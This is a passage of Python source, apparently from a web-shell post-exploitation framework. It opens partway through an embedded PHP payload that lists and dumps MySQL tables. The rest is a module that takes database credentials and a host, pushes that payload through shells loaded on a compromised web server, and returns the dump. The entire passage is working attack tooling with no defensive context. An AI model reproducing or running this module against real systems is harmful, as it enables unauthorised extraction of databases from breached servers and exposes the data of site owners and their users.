$tableQ = mysql_list_tables ($db_name); $i = 0; while ($i < mysql_num_rows ($tableQ)) { $tb_names[$i] = mysql_tablename ($tableQ, $i); if(($db_table_name == $tb_names[$i]) || $db_table_name == "") { print(dmp($tb_names[$i])); } $i++; }""") ]) params = ParametersList('Get SQL mysqldump-like database dump', vectors, P(arg='dbms', help='DBMS', choices=['mysql'], required=True, pos=0), P(arg='user', help='SQL user to bruteforce', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='db', help='Database name', required=True, pos=3), P(arg='table', help='Table name to dump (any to dump entire database)', default='any', pos=4), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=5)) def __init__( self, modhandler , url, password): self.structure = {} Module.__init__(self, modhandler, url, password) def run_module( self, mode, user, pwd , db, table, host ): if mode != 'mysql': raise ModuleException(self.name, "Only 'mysql' database is supported so far") vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters(self.modhandler.loaded_shells + [ 'sql.query' ]) for vector in vectors: response = self.__execute_payload(vector, [mode, host, user, pwd, db, table]) if response != None: self.params.set_and_check_parameters({'vector' : vector.name}) return response def __execute_payload(self, vector, parameters): mode = parameters[0] host = parameters[1] user = parameters[2] pwd = parameters[3] db = parameters[4] table = parameters[5] if table == 'any': table = '' self.modhandler.set_verbosity(2) self.structure[db] = {} payload = self.__prepare_payload(vector, [host, user, pwd, db, table]) response = self.modhandler.load(vector.interpreter).run({ 0: payload }) self.modhandler.set_verbosity() if response: return response else: self.mprint('[%s] Error dumping database, no response' % self.name) def __prepare_payload( self, vector, parameters): if vector.payloads[0].count( '%s' ) == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException(self.name, "Error payload parameter number does not corresponds")